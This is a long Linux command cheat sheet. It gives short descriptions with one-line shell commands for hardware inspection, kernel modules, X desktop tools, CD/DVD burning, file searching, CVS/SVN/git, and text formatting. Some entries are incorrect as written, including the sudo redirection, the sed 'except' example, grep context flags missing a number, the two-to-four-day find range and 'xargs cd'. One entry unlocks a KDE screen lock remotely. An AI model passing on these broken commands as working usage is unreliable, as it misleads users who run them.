>> sudo echo 0 > /sys/block/sdb/queue/rotational
* 32 bits or 64 bits?
>> getconf LONG_BIT
* Getting information about model no. of computer
>> dmidecode | grep -i prod
* print indepth hardware info
>> sudo dmidecode | more
* Generate the CPU utilization report
>> sar -u 2 5
* hard disk information - Model/serial no.
>> hdparm -i[I] /dev/sda
* Create an html page of information about your harddisk
>> lshw -C disk -html > /tmp/diskinfo.html
* Create a nifty html overview of the hardware in your computer
>> lshw -html > hardware.html ##('hardware.html' can be viewed in a browser)
* show the linux kernel version
>> uname -r
* show kernel startup messages
>> dmesg
* show usb devices
>> lsusb
MODULES AND DEVICE DRIVERS
In Linux, 'device drivers' (which make bits of hardware work) are also
known as 'kernel modules'. If a piece of hardware is not working, then
usually a kernel module must be loaded. This may involve; Find the
product code for the device (looks like 0341:4561). Then find the module
for that product. Then download the module source, compiling the module
and installing it.
* list your device drivers
>> lspci -vv | less
* show all loaded kernel modules
>> lsmod
* find module files in or below the current folder
>> find . -name *.ko ##(kernel module files end in 'ko')
* build the dependencies between various kernel modules
>> depmod -a
* load the 'rt3090sta' module (a wireless card driver)
>> sudo modprobe rt3090sta
* show pci devices
>> lspci
* show ram memory information
>> cat /proc/meminfo
* show cpu information
>> cat /proc/cpuinfo
* Short information about loaded kernel modules
>> lsmod | cut -d' ' -f1 | xargs modinfo | egrep '^file|^desc|^dep' | sed -e'/^dep/s/$/\n/g'
* Short information about loaded kernel modules
>> lsmod | sed -e '1d' -e 's/\(\([^ ]*\) \)\{1\}.*/\2/' | xargs modinfo | sed -e '/^dep/s/$/\n/g' -e '/^file/b' -e '/^desc/b' -e '/^dep/b' -e d
* Lists installed kernels
>> dpkg --get-selections | grep linux-image
KEYBOARD ....
* Replace Caps-lock with Control-key
>> xmodmap -e 'remove Lock = Caps_Lock' && xmodmap -e 'add control = Caps_Lock'
* Change the console keyboard layout
>> loadkeys uk
* show all key and mouse events
>> xev
MONITOR ....
* Give information about your graphic chipset
>> lshw -C display
* Show display adapter, available drivers, and driver in use
>> lspci -v | perl -ne '/VGA/../^$/ and /VGA|Kern/ and print'
DEVICES
ETHERNET CARD ....
* Get ethernet card information.
>> ethtool eth0
MONITORS ....
* Configure second monitor to sit to the right of laptop
>> xrandr --output LVDS --auto --output VGA --auto --right-of LVDS
CDROMS ....
* Add audio CD to xmms2 playlist
>> xmms2 addpls cdda://
* Decreasing the cdrom device speed
>> eject -x 4
* limit the cdrom driver to a specified speed
>> eject -x 8 /dev/cdrom
* save a compressed copy of data from a cdrom
>> gzip < /dev/cdrom > cdrom.iso.gz
* rip audio tracks from CD to wav files in current dir
>> cdparanoia -B
* clear a rewritable compact disk (CDRW)
>> cdrecord -v dev=/dev/cdrom blank=fast
* Make audio CD from all wavs in current dir (see also cdrdao)
>> cdrecord -v dev=/dev/cdrom -audio *.wav
* how to copy cd/dvd onto the hard disk (.iso)
>> dd if=/dev/cdrom of=whatever.iso
BURNING CDS AND DVDS ....
* erase content from a cdrw
>> cdrecord -v -blank=all -force
* Create an ISO Image from a folder and burn it to CD
>> hdiutil makehybrid -o CDname.iso /Way/to/folder ; hdiutil burn CDname.iso
* burn an ISO image to writable CD
>> wodim cdimage.iso
* burn an iso to cd or dvd
>> cdrecord -v path_to_iso_image.iso
* add files to existing growable DVD using growisofs
>> growisofs -M /dev/dvd -J -r "directory name with files to add to DVD"
* Blank/erase a DVD-RW
>> dvd+rw-format -force /dev/dvd1
* Burn a directory of mp3s to an audio cd.
>> alias burnaudiocd='mkdir ./temp && for i in *.[Mm][Pp]3;do mpg123 -w "./temp/${i%%.*}.wav" "$i";done;cdrecord -pad ./temp/* && rm -r ./temp'
* backup your playstation game using rip
>> cdrdao read-cd --read-raw --datafile FILE_NAME.bin --device /dev/cdrom --driver generic-mmc-raw FILE_NAME.toc
SCSI ....
* Shows physically connected drives (SCSI or SATA)
>> ls /sys/bus/scsi/devices
* scan for new scsi devices
>> echo "- - -" > /sys/class/scsi_host/host0/scan
USB ....
* remount a usb disk in gnome without physically removing and reinserting
>> eject /dev/sdb; sleep 1; eject -t /dev/sdb
* Get names of files in /dev, a USB device is attached to
>> ls -la /dev/disk/by-id/usb-*
CPU CENTRAL PROCESSING UNIT ....
* List the CPU model name
>> grep "model name" /proc/cpuinfo
* List the CPU model name
>> sed -n 's/^model name[ \t]*: *//p' /proc/cpuinfo
XWINDOWS
== tools
.. wmctrl - control a window manager from scripts
..
* Start an X app remotely
>> ssh -f user@remote.ip DISPLAY=:0.0 smplayer movie.avi
* Run any GUI program remotely
>> ssh -fX <user>@<host> <program>
* Send keypresses to an X application
>> xvkbd -xsendevent -text "Hello world"
* Click on a GUI window and show its process ID and command used to
>> xprop | awk '/PID/ {print $3}' | xargs ps h -o pid,cmd
* Start another X session in a window
>> startx -- /usr/bin/Xephyr :2
THE CLIPBOARD ....
* get xclip to own the clipboard contents
>> xclip -o -selection clipboard | xclip -selection clipboard
* copy the file list.xml to the clipboard
>> cat list.xml | xclip
* copoy a large file to the clipboard with a progress meter
>> pv large.xml | xclip
* print to standard output the text or data in the x clipboard
>> xsel -o
If a piece of text is currently 'selected' or 'highlighted' in
some window on the computer, then this text will be printed
with 'xsel -o'
KDE
Kde is an alternative to 'gnome' and uses the qt windowing
toolkit. qt is not a completely free toolkit.
* Unlock your KDE4.3 session remotely
>> qdbus org.kde.screenlocker /MainApplication quit
GNOME
Gnome uses the gtk windowing toolkit to draw its graphical
user interfaces. gtk is a completely opensource toolkit.
USER INTERFACES
* Read a keypress without echoing it
>> stty cbreak -echo; KEY=$(dd bs=1 count=1 2>/dev/null); stty -cbreak echo
* On screen display of command results
>> date | osd_cat
SELECT MENUS ....
The linux 'select' command is the simplest way of
making a menu for the user to select from.
WHIPTAIL AND DIALOG ....
Both whiptail and dialog create 'windows' in a console
terminal.
KDIALOG ....
Kdialog seems to be more or less equivalent to zenity
for the KDE desktop.
* Show a passive popup in KDE which times out in 30 seconds
>> kdialog --passivepopup <text> 30
* an SSH monitor using kdialog
>> ssh root@server 'tail --max-unchanged-stats=10 -n0 -F /var/log/auth.log ' | grep Accepted | while read l ; do kdialog --title "SSH monitor" --passivepopup "$l" 3; done
ZENITY
zenity is a simple way to present the user with a graphical user interface
without needing to use a programming language. Zenity uses the
gtk windowing library, so is aimed to the gnome linux desktop
@@ http://bumble.sf.net/books/bash/bash-book.txt
Some other zenity examples.
* display a window with a calender and output the chosen date
>> zenity --calendar
* allow the user to (graphically) choose a file
>> zenity --file-selection --title 'select a file'
* make a window with a list-box with the files from current folder
>> ls | zenity --list --column="test"
* try to jump to a folder with zenity
>> find -type d -name '*er*' | zenity --list --column= | xargs cd
The file which the user selects in the list box is printed to
the standard output.
* display a text box and a label in a window
>> zenity --title "Select Host" --entry --text "Select a server"
* display a yes/no box with the question 'really quit now?'
>> zenity --question --text "really quit now?"
* show a question dialog and exit the script if the user says yes
>> [ $(zenity --question --text "really quit?") ] && echo quiting && exit
* show a notification icon in the gnome task bar
>> zenity --notification --window-icon=update.png --text "System update necessary!"
PROGRESS BARS WITH ZENITY ....
* show a progress bar while a command is executing
>> find $HOME -name '*.mp3' | zenity --progress --pulsate
CHECKBOXES WITH ZENITY ....
* display a list with check boxes with the column labels
>> zenity --list --checklist --column "Buy" --column "Item" TRUE Apples TRUE Oranges FALSE Pears FALSE Toothpaste
##(this writes 'Apples|Oranges' to standard out)
WINDOWS AND GUI APPLICATIONS ....
@@ gtk-apps.org
graphical applications which run with the gnome desktop.
* open a file with its appropriate window application
>> xdg-open file.txt
* show the x window for a graphical app running on a remote computer
>> ssh -X user@server.ext
STARTING X ....
* start X from a virtual console
>> startx
* run startx and redirect its output to a log file
>> startx >$HOME/startx.log 2>&1
* start X from a virtual console, and specify 16-bit color depth,
>> startx -- -bpp 16
* end your X session if you are running the fvwm2 window manager,
click the left mouse button in the root window to pull up the start
menu, and then choose Really quit? from the Exit Fvwm submenu.
* end your X session if you are running the afterstep window
manager, click the left mouse button in the root window to pull up the
start menu, and then choose Really quit? from the Exit Fvwm submenu.
* exit X immediately
>> [CTRL]-[ALT]-[BKSP]
* run a digital clock from a shell window
>> xclock -digital &
* start a small xclock, 48 pixels wide and 48 pixels high
>> xclock -geometry 48x48
* start a large xclock, 480 pixels wide and 500 pixels high
>> xclock -geometry 480x500
* start an xclock with a width of 48 pixels and the default height
>> xclock -geometry 48
* start an xclock with a height of 48 pixels and the default width
>> xclock -geometry x48
* list the available colors
>> xcolors ##(Press [Q] to exit xcolors.)
* switch to the desktop to the left of the current one while running fvw2,
>> type [ALT]-[{<-]}.
* switch to the desktop directly to the left of the current one while running afterstep,
>> type [CTRL]-[{<-]}.
* switch to the next-lowest video mode
>> [CTRL]-[ALT]-[+]
* switch to the next-highest video mode
>> [CTRL]-[ALT]-[-]
* change the root window color to blue violet
>> xsetroot -solid blueviolet
* tile the root window with a star pattern
>> xsetroot -bitmap /usr/X11R6/include/bitmaps/star
* tile the root window with a light slate gray star pattern on a black background
>> xsetroot -fg slategray2 -bg black -bitmap /usr/X11R6/include/bitmaps/star
* make the root window a gray color with no pattern
>> xsetroot -gray
* browse the system documentation files in the '/usr/doc' directory
>> lynx /usr/doc
* browse the system documentation files in the '/usr/doc' directory in Mozilla, type the following in Mozilla's Location window: file://usr/doc
* find all files on the system that have 'audio' anywhere in their name
>> locate audio
* find all the files on the system whose file names end with the text 'ogg'
>> locate *ogg
* find all hidden "dotfiles" on the system
>> locate /.
NOTE: locate searches are not case sensitive.
* list all files on the system whose file name is 'top', regardless of case
>> find / -iname top
* list all files whose names begin with the three characters 'top' followed by exactly three more characters
>> find / -name 'top???'
* list all files in the current directory tree whose names have either the string 'net' or `comm' anywhere in their file names, type:
>> find . -regex '.*\(net\|comm\).*'
* list all files in the '/usr/local' directory tree that are greater than 10,000 kilobytes in size
>> find /usr/local -size +10000k
* list all files in your home directory tree less than 300 bytes in size
>> find ~ -size -300b
* list all files on the system whose size is exactly 42 512-byte blocks
>> find / -size 42
* find all empty files in your home directory tree
>> find ~ -empty
* list the files in the '/usr/local' directory tree that were modified exactly 24 hours ago
>> find /usr/local -mtime 1
* list the files in the '/usr' directory tree that were modified exactly five minutes ago
>> find /usr -mmin 5
* list the files in the '/usr/local' directory tree that were modified within the past 24 hours
>> find /usr/local -mtime -1
* list the files in the '/usr' directory tree that were modified within the past five minutes
>> find /usr -mmin -5
* list all of the files in your home directory tree that were modified yesterday
>> find ~ -mtime 1 -daystart
* list all of the files in the '/usr' directory tree that were modified one year or longer ago
>> find /usr -mtime +356 -daystart
* list all of the files in your home directory tree that were modified from two to four days ago
>> find ~ -mtime 2 -mtime -4 -daystart
* find files in the '/etc' directory tree that are newer than the file '/etc/motd'
>> find /etc -newer /etc/motd
* list all files in your home directory tree that were modified after May 4 of the current year
>> touch -t 05040000 /tmp/timestamp
>> find ~ -newer /tmp/timestamp
* list all files in the '/usr/local/fonts' directory tree owned by the user warwick
>> find /usr/local/fonts -user warwick
* list all files in the '/dev' directory tree owned by the audio group
>> find /dev -group audio
* find all files in the '~/html/' directory tree with an `.html' extension, and output lines from these files that contain the string 'organic'
>> find ~/html/ -name '*.html' -exec grep organic '{}' ';'
* remove files from your home directory tree that were accessed more than one year after they were last modified, pausing to confirm before each removal
>> find ~ -used +365 -ok rm '{}' ';'
* list files in your home directory tree whose names begin with the string 'top', and that are newer than the file `/etc/motd', type:
>> find ~ -name 'top*' -newer /etc/motd
* compress all the files in your home directory tree that are two megabytes or larger, and that are not already compressed with gzip (having a '.gz' file name extension)
>> find ~ -size +2000000c -regex '.*[^gz]' -exec gzip '{}' ';'
* list the files in the current directory, with their attributes, sorted with the largest files first
>> ls -lS
* list the files in the current directory and their attributes, sorted from smallest to largest
>> ls -lSr
* output a list of the subdirectories of the current directory tree, sorted in ascending order by size
>> du -S . | sort -n
* output a list of the subdirectories in the current directory tree, sorted in descending order by size
>> du -S . | sort -nr
* output a list of the subdirectories in the '/usr/local' directory tree, sorted in descending order by size
>> du -S /usr/local | sort -nr
* output the number of files in the current directory
>> ls | wc -l
19
* count the number of files -- including dot files -- in the
current directory
>> ls -A | wc -l
81
* list the number of files in the '/usr/share' directory tree,
type:
>> find /usr/share \! -type d | wc -l
* list the number of files and directories in the '/usr/share'
directory tree
>> find /usr/share | wc -l
* list the number of directories in the '/usr/share' directory
tree
>> find /usr/share \! -type f | wc -l
* find out whether perl is installed on your system, and, if so, where it resides
>> which perl ##(prints something like '/usr/bin/perl')
* determine the format of the file '/usr/doc/HOWTO/README.gz',
>> file /usr/doc/HOWTO/README.gz
/usr/doc/HOWTO/README.gz: gzip compressed data, deflated, original
* determine the compression format of the file '/usr/doc/HOWTO/README.gz'
>> file -z /usr/doc/HOWTO/README.gz
FILE TIMESTAMPS
* change the timestamp of file 'pizzicato' to the current date and time
>> touch pizzicato
* change the timestamp of file 'pizzicato' to '17 May 1999 14:16'
>> touch -d '17 May 1999 14:16' pizzicato
* change the timestamp of file 'phone' to '14:16'
>> touch -d '14:16' phone
* split 'large.mp3' into separate files of one megabyte each, whose names begin with 'large.mp3.'
>> split -b1m large.mp3 large.mp3.
* reconstruct the original file from the split files
>> cat large.mp3.* > large.mp3
>> rm large.mp3.*
* determine whether the files 'master' and `backup' differ
>> cmp master backup
VERSION CONTROL SYSTEMS
A version or revision control system is designed to keep track of
different versions of a text document, or other file or files.
These systems are often employed when writers or programmers want
to be able to revert to a previous version of a document or code file.
CVS ....
* Override and update your locally modified files through cvs..
>> cvs update -C
* List only locally modified files with CVS
>> cvs -Q status | grep -i locally
SUBVERSION ....
Subversion is a reasonably modern versioning system which was
supposed to replace 'cvs'.
* Prints total line count contribution per user for an SVN
>> svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{print $2}' | sort | uniq -c | sort -r
* Add new files/directory to subversion repository
>> svn status | grep '^\?' | sed -e 's/^\?//g' | xargs svn add
* Skip over .svn directories when using the "find" command.
>> find . -not \( -name .svn -prune \)
* Archive all SVN repositories in a platform independent form
>> find repMainPath -maxdepth 1 -mindepth 1 -type d | while read dir; do echo processing $dir; sudo svnadmin dump --deltas $dir >dumpPath/`basename $dir`; done
* Ignore a directory in SVN, permanently
>> svn propset svn:ignore "*" tool/templates_c; svn commit -m "Ignoring tool/templates_c"
* Add all files in current directory to SVN
>> svn add --force *
* Get a range of SVN revisions from svn diff and tar gz them
>> tar cvfz changes.tar.gz --exclude-vcs `svn diff -rM:N --summarize . | grep . | awk '{print $2}' | grep -E -v '^\.$'`
* get colorful side-by-side diffs of files in svn with vim
>> vimdiff <(svn cat "$1") "$1"
* sync svn working copy and remote repository (auto adding new
>> svn status | grep '^?' | awk '{ print $2; }' | xargs svn add
* Commit only newly added files to subversion repository
>> svn ci `svn stat |awk '/^A/{printf $2" "}'`
* Add all unversioned files to svn
>> svn st | grep "^\?" | awk "{print \$2}" | xargs svn add $1
* Add all files not under subversion control
>> for i in $(svn st | grep "?" | awk '{print $2}'); do svn add $i; done;
* Deleting Files from svn which are missing
>> svn status | grep '!' | sed 's/!/ /' | xargs svn del --force
* Have subversion ignore a file pattern in a directory
>> svn propset svn:ignore "*txt" log/
* output list of modifications for an svn revision
>> svn log $url -r $revision -v | egrep " [RAMD] \/" | sed s/^.....//
* Recursively Add Changed Files to Subversion
>> svn status | grep "^\?" | awk '{print $2}' | xargs svn add
* Output a list of svn repository entities to xml file
>> svn list -R https://repository.com --xml >> svnxxmlinfo.xml
* fetch all revisions of a specific file in an SVN repository
>> svn log fileName|cut -d" " -f 1|grep -e "^r[0-9]\{1,\}$"|awk {'sub(/^r/,"",$1);print "svn cat fileName@"$1" > /tmp/fileName.r"$1'}|sh
* Create subversion undo point
>> function svnundopoint() { if [ -d .undo ]; then r=`svn info | grep Revision | cut -f 2 -d ' '` && t=`date +%F_%T` && f=${t}rev${r} && svn diff>.undo/$f && svn stat>.undo/stat_$f; else echo Missing .undo directory; fi }
* gets all files committed to svn by a particular user since a given date
>> svn log -v -r{2009-05-21}:HEAD | awk '/^r[0-9]+ / {user=$3} /yms_web/ {if (user=="george") {print $2}}' | sort | uniq
GIT ....
This system seems to be used for linux development and apparently
was written by Mr Torvalds himself after dissatisfaction with
other tools
* Add forgotten changes to the last git commit
>> git commit --amend
* Move all files untracked by git into a directory
>> git clean -n | sed 's/Would remove //; /Would not remove/d;' | xargs mv -t stuff/
* Show git branches by date - useful for showing active branches
>> for k in `git branch|sed s/^..//`;do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" "$k"`\\t"$k";done|sort
* List all authors of a particular git project
>> git shortlog -s | cut -c8-
* grep across a git repo and open matching files in gedit
>> git grep -l "your grep string" | xargs gedit
* Show (only) list of files changed by commit
>> git show --relative --pretty=format:'' --name-only HASH
* git remove files which have been deleted
>> git add -u
* Prints per-line contribution per author for a GIT repository
>> git ls-files | xargs -n1 -d'\n' -i git-blame {} | perl -n -e '/\s\((.*?)\s[0-9]{4}/ && print "$1\n"' | sort -f | uniq -c -w3 | sort -r
* github push-ing behind draconian proxies!
>> git remote add origin git@SSH-HOST:<USER>/<REPOSITORY>.git
* Display summary of git commit ids and messages for a given branch
>> git log --pretty='format:%Cgreen%H %Cred%ai %Creset- %s'
* Makes a project directory, unless it exists; changes into the dir,
>> gitstart () { if ! [[ -d "$@" ]]; then mkdir -p "$@" && cd "$@" && git init; else cd "$@" && git init; fi }
* Display summary of git commit ids and messages for a given branch
>> git log master | awk '/commit/ {id=$2} /\s+\w+/ {print id, $0}'
* Display condensed log of changes to current git repository
>> git log --pretty=oneline
* Undo several commits by committing an inverse patch.
>> git diff HEAD..rev | git apply --index; git commit
* Stage only portions of the changes to a file.
>> git add --patch <filename>
RCS AN OLD VERSION CONTROL SYSTEM ....
* check in the file 'novel' with RCS
>> ci novel
* deposit this revision in RCS
>> ci novel
* check out the latest revision of the file 'novel' for editing,
>> co -l novel
* check out the current revision of file 'novel', but dont permit any changes
>> co novel
* check out revision 1.14 of file 'novel'
>> co -l -r1.14 novel ##(check-in the latest changes first)
* view the revision log for file 'novel'
>> rlog novel
READING TEXT FILES ....
* page through the text file 'README'
>> less README
* page through all of the Unix FAQ files in '/usr/doc/FAQ'
>> less /usr/doc/FAQ/unix-faq-part*
This command starts less, opens in it all of the files that match the
given pattern '/usr/doc/FAQ/unix-faq-part*', and begins displaying the
* peruse the file 'translation' with non-printing characters displayed
>> cat -v translation | less ##(non-printing characters are shown with 'hats')
* output the first ten lines of file 'placement-list'
>> head placement-list
* output the first line of file 'placement-list'
>> head -1 placement-list
* output the first sixty-six lines of file 'placement-list'
>> head -66 placement-list
* output the first character in the file 'placement-list'
>> head -c1 placement-list
* output the last ten lines of file 'placement-list'
>> tail placement-list
* output the last fourteen lines of file 'placement-list'
>> tail -14 placement-list
* follow the end of the file 'access_log'
>> tail -f access_log
* output line 47 of file 'placement-list'
>> sed '47!d' placement-list
* output lines 47 to 108 of file 'placement-list'
>> sed '47,108!d' placement-list
* output the tenth line in the file 'placement-list'
>> head placement-list | tail -1
* output the fifth and fourth lines from the bottom of file 'placement-list'
>> tail -5 placement-list | head -2
* output the 500th character in 'placement-list'
>> head -c500 placement-list | tail -c1
* output the first character on the fifth line of the file 'placement-list'
>> head -5 placement-list | tail -1 | head -c1
* output all the text from file 'book-draft' between `Chapter 3' and 'Chapter 4'
>> sed -n '/Chapter 3/,/Chapter 4/p' book-draft
* output all the text from file 'book-draft', except that which lies between the text 'Chapter 3' and `Chapter 4'
>> sed '/Chapter 3/,/Chapter 4/p' book-draft
* apply the kraut filter to the text in the file '/etc/motd'
>> cat /etc/motd | kraut
* view the contents of the text file 'alice-springs' in sview
>> sview alice-springs
* view an ASCII character set
>> man ascii
* view the ISO 8859-1 character set
>> man iso_8859_1
* run the vi tutorial, type the following from your home directory:
>> cp /usr/doc/nvi/vi.beginner.gz .
>> gunzip vi.beginner
* concatenate these files into a new file, 'novels'
>> cat early later > novels
* make a file, 'novels', with some text in it
cat > novels
This Side of Paradise
The Beautiful and Damned
,,,
* add a line of text to the bottom of file 'novels'
>> cat >> novels
The Last Tycoon
C-d
* insert several lines of text at the beginning of the file 'novels'
>> ins novels
The Novels of F. Scott Fitzgerald
* process the file and write to the file 'monday.txt'
>> m4 menu > monday.txt
Debian: 'an'
* output all anagrams of the word 'lake'
>> an lake
* output all anagrams of the phrase 'lakes and oceans'
>> an 'lakes and oceans'
* output only anagrams of the phrase 'lakes and oceans' which contain the string 'seas'
>> an -c seas 'lakes and oceans'
* output all of the words that can be made from the letters of the word 'seas'
>> an -w seas
* output all of the palindromes in the system dictionary
>> perl -lne 'print if $_ eq reverse' /usr/dict/words
* make a cut-up from a file called 'nova'
>> cutup nova
Debian: 'dadadodo'
* output random text based on the text in the file 'nova'
>> dadadodo nova
* output all non-empty lines from the file 'term-paper'
>> grep . term-paper
* output only the lines from the file 'term-paper' that contain more than just space characters
>> grep '[^ ].' term-paper
* output only the odd lines from file 'term-paper'
>> sed 'n;d' term-paper
* double-space the file 'term-paper' and and save to 'term-paper.print'
>> pr -d -t term-paper > term-paper.print
* triple-space the file 'term-paper' and save to the file 'term-paper.print'
>> sed 'G;G' term-paper > term-paper.print
* quadruple-space the file 'term-paper', and save to the file 'term-paper.print'
>> sed 'G;G;G' term-paper > term-paper.print
* output the file 'owners-manual' with a five-space (or five-column) margin to a new file, 'owners-manual.pr'
>> pr -t -o 5 -w 77 owners-manual > owners-manual.pr
This command is almost always used for printing, so the output is
* print the file 'owners-manual' with a 5-column margin and 80 columns of text
>> pr -t -o 5 -w 85 owners-manual | lpr
* print the file 'owners-manual' with a 5-column margin and 75 columns of text
>> pr -t -o 5 -w 80 owners-manual | lpr
* convert all tab characters to spaces in 'list', and write the output to 'list2'
>> expand list > list2
* convert initial tab characters to spaces in 'list', and write the output to the standard output
>> expand -i list
* convert every 8 leading space characters to tabs in 'list2', saving in 'list'
>> unexpand list2 > list
* convert all occurrences of eight space characters to tabs in file 'list2', and write the output to the standard output
>> unexpand -a list2
* convert every leading space character to a tab character in 'list2', and write the output to the standard output
>> unexpand -t 1 list2
* paginate the file 'listings' and write the output to a file called 'listings.page'
>> pr -f -h "" listings > listings.page
By default, pr outputs pages of 66 lines each. You can specify the page
* paginate the file 'listings' with 43-line pages, and write the
output to a file called 'listings.page'
>> pr -f -h "" -l 43 listings > listings.page
NOTE: If a page has more lines than a printer can fit on a physical
* print the file 'duchess' with the default pr preparation
>> pr duchess | lpr
You can also use pr to put text in columns -- give the number of
* print the file 'news.update' in four columns with no headers or
footers
>> pr -4 -t news.update | lpr
* replace plaintext-style italics with TeX '\it' commands
M-x replace-regular-expression
_\([^_]+\)_
\{\\it \1}
* replace TeX-style italics with plaintext _underscores_
M-x replace-regular-expression
\{\\it \{\([^\}]+\)\}
_\1_
* output the file 'term-paper' so that you can view underbars, type:
>> ul term-paper
* output the file 'term-paper' with all backspace characters stripped out
>> col -u term-paper
* sort the file 'provinces' and output all lines in ascending order
>> sort provinces
* sort the file 'provinces' and output all lines in descending order
>> sort -r provinces
* peruse the file 'report' with each line of the file preceded by line numbers
>> nl report | less ##(set the numbering style with the '-b')
* show 'report', each line preceded by line numbers, starting with 2 step 4
>> nl -v 2 -i 4 report
* peruse the text file 'report' with each line of the file numbered
>> cat -n report | less
* peruse the text file 'report' with each non-blank line of the file numbered
>> cat -b report | less
* write a line-numbered version of file 'report' to file 'report.lines'
>> cat -n report > report.lines
* output the file 'prizes' in line-for-line reverse order
>> tac prizes
* output 'prizes' in page-for-page reverse order
>> tac -s $'\f' prizes ##(using the form-feed as the delimiter)
* output 'prizes' in word-for-word reverse order
>> tac -r -s '[^a-zA-z0-9\-]' prizes
* output 'prizes' in character-for-character reverse order
>> tac -r -s '.\|
>> ' prizes
* output 'prizes' with the characters on each line reversed
>> rev prizes
* output lines in the file 'catalog' containing the word `CD', type:
>> grep CD catalog
* output lines in the file 'catalog' containing the word `Compact Disc'
>> grep 'Compact Disc' catalog
* output lines in all files in the current directory containing the word 'CD'
>> grep CD *
* output lines in the file 'catalog' that contain a `$' character, type:
>> grep '\$' catalog
* output lines in the file 'catalog' that contain the string '$1.99'
>> grep '\$1\.99' catalog
* output all lines in '/usr/dict/words' beginning with `pre', type:
>> grep '^pre' /usr/dict/words
* output all lines in the file 'book' that begin with the text `in the beginning', regardless of case
>> grep -i '^in the beginning' book
* output lines in the file 'sayings' ending with an exclamation point
>> grep '!$' sayings
* output all lines in '/usr/dict/words' that are exactly two characters wide
>> grep '^..$' /usr/dict/words
* output all lines in '/usr/dict/words' that are 17 characters wide
>> grep '^.\{17\}$' /usr/dict/words
* output all lines in '/usr/dict/words' that are 25 or more characters wide
>> grep '^.\{25,\}$' /usr/dict/words
* output all lines in 'playlist' containing either 'the sea' or 'cake'
>> grep 'the sea\|cake' playlist
* output all lines in '/usr/dict/words' that are not three characters wide
>> grep -v '^...$'
* output all lines in 'access_log' that do not contain the string 'http'
>> grep -v http access_log
* output lines in '/usr/dict/words' that only contain vowels, type:
>> grep -i '^[aeiou]*$' /usr/dict/words
* search across line breaks for the string 'at the same time as' in the file 'notes'
>> cat notes | tr -d '\r\n:\>\|-' | fmt -u | grep 'at the same time as'
* list lines from the file 'email-archive' that contain the word 'narrative' only when it is quoted
>> grep '^>' email-archive | grep narrative
* list lines of 'archive' containing the word 'narrative', but notquoted
>> grep narrative archive | grep -v '^>'
* show lines in '/usr/dict/words' containing any of the words in the file 'swear'
>> grep -f swear /usr/dict/words
* output lines in '/usr/dict/words' not containing any of the words in 'swear'
>> grep -v -i -f swear /usr/dict/words
* search through the compressed file 'README.gz' for the text 'Linux'
>> zgrep Linux README.gz
* search the contents of the URL http://example.com/ for lines containing the text 'gonzo' or `hunter'
>> lynx -dump http://example.com/ | grep 'gonzo\|hunter'
* search '/usr/dict/words' for lines matching `tsch' and output two lines of context before and after each line of output
>> grep -C tsch /usr/dict/words
* search '/usr/dict/words' for lines matching `tsch' and output six lines of context before and after each line of output
>> grep -6 tsch /usr/dict/words
* search '/usr/dict/words' for lines matching `tsch' and output two lines of context before each line of output
>> grep -B tsch /usr/dict/words
* search '/usr/dict/words' for lines matching `tsch' and output six lines of context after each line of output
>> grep -A6 tsch /usr/dict/words
* search '/usr/dict/words' for lines matching `tsch' and output ten lines of context before and three lines of context after each line of output
>> grep -B10 -A3 tsch /usr/dict/words
* replace the string 'helpless' with the string `helpful' in all
files in the current directory
>> perl -pi -e "s/helpless/helpful/g;" *
* search forward through the text you are perusing for the word 'cat'
/cat
* convert the text file 'saved-mail' to PostScript, with default formatting, and spool the output right to the printer
>> enscript saved-mail
* write the text file 'saved-mail' to a PostScript file, 'saved-mail.ps', and then preview it in X
>> enscript -p report.ps saved-mail
>> ghostview saved-mail.ps
* print the contents of the text file 'saved-mail' on a PostScript printer, with text set in the Helvetica font at 12 points
>> enscript -B -f "Helvetica12" saved-mail
* make a PostScript file called 'saved-mail.ps' containing the
contents of the text file 'saved-mail', with text set in the
Helvetica font at 12 points
>> enscript -B -f "Helvetica12" -p saved-mail.ps saved-mail
* print the contents of the text file 'saved-mail' to a PostScript
printer, with text set in 10-point Times Roman and header text set
in 18-point Times Bold
>> enscript -f "Times-Roman10" -F "Times-Bold18" saved-mail
* make a PostScript file called 'saved-mail.ps' containing the
contents of the text file 'saved-mail', with text and headers both
set in 16-point Palatino Roman
>> enscript -f "Palatino-Roman16" -F "Palatino-Roman16" -p
* print a sign in 72-point Helvetica Bold type to a PostScript
printer
>> enscript -B -f "Helvetica-Bold72"
* print a sign in 63-point Helvetica Bold across the long side of
the page
>> enscript -B -r --word-wrap -f "Helvetica-Bold63"
* pretty-print the HTML file 'index.html'
>> enscript -Ehtml index.html
* pretty-print an email message saved to the file
'important-mail', and output it with no headers to a file named
'important-mail.ps'
>> enscript -B -Email -p important-mail.ps important-mail
* peruse a list of currently supported languages
>> enscript --help-pretty-print | less
* print the contents of the text file 'saved-mail' with fancy headers on a PostScript printer
>> enscript -G saved-mail
* make a PostScript file called 'saved-mail.ps' containing the
contents of the text file 'saved-mail', with fancy headers
>> enscript -G -p saved-mail.ps saved-mail
* print the contents of the text file 'saved-mail' with a custom header label containing the current page number
>> enscript -b "Page $% of the saved email archive" saved-mail
* determine whether the file 'gentle.tex' is a TeX or LaTeX file, type:
>> grep '\\document' gentle.tex
* print a copy of the PostScript version of the SGML-Tools guide to the default printer
>> zcat /usr/doc/sgml-tools/guide.ps.gz | lpr
* check the SGML file 'myfile.sgml'
>> sgmlcheck myfile.sgml
* make a plain text file from 'myfile.sgml'
>> sgml2txt myfile.sgml
* make a PostScript file from 'myfile.sgml'
>> sgml2latex myfile.sgml
>> latex myfile.latex
>> dvips -t letter -o myfile.ps myfile.dvi
* list all the X fonts on the system
>> xlsfonts
* list all the X fonts on the system whose name contains the text 'rea'
>> xlsfonts '*rea*'
* list all the bold X fonts on the system
>> xlsfonts '*bold*'
* display the characters in a medium Courier X font
>> xfd -fn '-*-courier-medium-r-normal--*-100-*-*-*-*-iso8859-1'
* set the console font to the scrawl_w font
>> consolechars -f scrawl_w
* set the console font to the 8x8 size sc font
>> consolechars -H 8 -f sc
* list all of the characters in the current console font
>> showcfont
* output the text 'news alert' in the default figlet font
>> figlet news alert
* output the text of the file 'poster' in the figlet `bubble' font
>> cat poster | figlet -f bubble
NOTE: The 'bubble' font is installed at `/usr/lib/figlet/bubble.flf'.
* make a banner saying 'Happy Birthday Susan'
>> banner 'Happy Birthday Susan'
* preview the file '/usr/doc/gs/examples/tiger.ps'
>> ghostview /usr/doc/gs/examples/tiger.ps
* browse through the image files with a '.gif' extension in the
'/usr/doc/imagemagick/examples' directory
>> display 'vid:/usr/doc/imagemagick/examples/*.gif'
* browse through all image files in the current directory
>> display 'vid:*'
